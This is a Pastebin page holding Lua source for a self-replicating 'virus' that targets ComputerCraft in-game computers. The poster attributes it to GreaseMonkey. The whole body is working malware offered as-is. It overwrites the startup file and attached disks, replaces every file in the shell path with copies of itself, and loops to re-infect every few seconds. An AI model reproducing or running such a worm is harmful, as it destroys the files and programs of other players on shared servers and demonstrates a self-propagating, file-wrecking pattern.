Advertisement
LDDestroier

GreaseMonkey virus

Sep 13th, 2015
506
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.20 KB | None | 0 0
  1. --This is a copy of GreaseMonkey's virus. I, EldidiStroyrr, had nothing to do with its creation.
  2. -- pastebin get LBxiTTeP virus
  3.  
  4. local xpayload = [[
  5. -- evalquine resident ComputerCraft virus
  6. -- by GreaseMonkey, 2012-04-04
  7. local payload, xshell
  8. payload, xshell = ...
  9. local function wreck_everything()
  10. local function split(s,token)
  11.   local l = {}
  12.   local pos = 1
  13.   while pos <= #s do
  14.     local npos = string.find(s,token,pos,true)
  15.     if npos == nil then
  16.       break
  17.     end
  18.     l[#l+1] = string.sub(s,pos,npos-1)
  19.     pos = npos+1
  20.   end
  21.   l[#l+1] = string.sub(s,pos)
  22.   return l
  23. end
  24. local function infect_startup_unsafe(xto)
  25.   if fs.exists(xto) then
  26.     fs.delete(xto)
  27.   end
  28.   local fp = io.open(xto,"w")
  29.   fp:write("local xpayload = [".."[\n")
  30.   fp:write(payload)
  31.   fp:write("]".."]\nloadstring(xpayload)(xpayload,shell)\n")
  32.   fp:close()
  33. end
  34. local function infect_startup(xto)
  35.   local r,s
  36.   r,s = pcall(infect_startup_unsafe, xto)
  37.   if not r then
  38.     print("FAIL "..xto..": "..s)
  39.   end
  40. end
  41. -- infect /startup
  42. infect_startup("startup")
  43. -- infect any disks
  44. -- based on code in /rom/programs/shell
  45. for k,side in pairs(redstone.getSides()) do
  46.   if disk.isPresent(side) then
  47.     local target = disk.getMountPath(side)
  48.     infect_startup(fs.combine(target,"startup"))
  49.   end
  50. end
  51. -- wreck everything in shell.path
  52. local spath = xshell.path()
  53. --local spath = ".:/rom/programs:/rom/programs/turtle:/rom/programs/computer:/rom/programs/http"
  54. for k,p in ipairs(split(spath,":")) do
  55.   local pref = string.sub(p,1,1)
  56.   if pref == "/" or pref == "\\" then
  57.     for k,name in ipairs(fs.list(p)) do
  58.       -- try to infect the file in question
  59.       local r = pcall(infect_startup_unsafe, fs.combine(p,name))
  60.       if not r then
  61.         -- we couldn't infect it - infect it in the root instead.
  62.         infect_startup(name)
  63.       end
  64.     end
  65.   end
  66.   os.sleep(0.05)
  67. end
  68. end
  69. local function wrecker()
  70.   while true do
  71.     os.sleep(5)
  72.     wreck_everything()
  73.   end
  74. end
  75. -- call wreck_everything
  76. wreck_everything()
  77. print("This system is wrecked")
  78. -- now bring up a shell
  79. parallel.waitForAll(
  80.   wrecker, function()
  81.     xshell.run("/rom/programs/shell")
  82.   end
  83. )
  84. ]]
  85. loadstring(xpayload)(xpayload,shell)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement